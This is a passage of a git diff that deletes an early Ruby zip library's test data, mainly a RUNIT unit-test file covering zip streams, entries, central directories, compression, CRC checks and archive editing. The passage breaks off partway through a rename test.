b/lib/zip/test/data/file1.txt.deflatedData deleted file mode 100644 index bfbb4f42c0..0000000000 Binary files a/lib/zip/test/data/file1.txt.deflatedData and /dev/null differ diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt deleted file mode 100644 index 57221d1adf..0000000000 --- a/lib/zip/test/data/file2.txt +++ /dev/null @@ -1,1504 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - 